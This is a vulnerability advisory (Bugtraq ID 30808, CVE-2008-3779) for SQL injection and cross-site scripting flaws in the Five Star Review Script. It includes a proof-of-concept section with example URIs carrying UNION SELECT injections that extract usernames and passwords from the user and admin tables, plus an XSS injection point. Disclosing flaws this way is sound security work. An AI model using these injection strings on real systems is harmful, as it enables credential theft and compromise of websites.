Five Star Review SQL Injection and Cross Site Scripting Vulnerabilities

BID:30808

Info

Five Star Review SQL Injection and Cross Site Scripting Vulnerabilities

Bugtraq ID: 30808
Class: Input Validation Error
CVE: CVE-2008-3779
Remote: Yes
Local: No
Published: Aug 24 2008 12:00AM
Updated: May 07 2015 05:24PM
Credit: Mr.SQL
Vulnerable: Review-Script.com Five Star Review Script 0
Not Vulnerable:

Discussion

Five Star Review SQL Injection and Cross Site Scripting Vulnerabilities

Five Star Review is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Exploit / POC

Five Star Review SQL Injection and Cross Site Scripting Vulnerabilities

An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

http://www.example.com/recommend.php?item_id=1'+union+select+0,concat_ws(0x3a,username,passtext),0,concat_ws(0x3a,username,passtext),0,0,0,0,0,0,0+from+review_users+limit+1,1/*

http://www.example.com/recommend.php?item_id=1'+union+select+0,concat_ws(0x3a,username,passtext),0,concat_ws(0x3a,username,passtext),0,0,0,0,0,0,0+from+review_admin/*

http://www.example.com/search/index.php?cmd=search&words= [[ XSS ]] &searchWhere=0&mode=normal

Solution / Fix

Five Star Review SQL Injection and Cross Site Scripting Vulnerabilities

Solution:
The vendor has released a patch. Contact the vendor for more information.

References

Five Star Review SQL Injection and Cross Site Scripting Vulnerabilities

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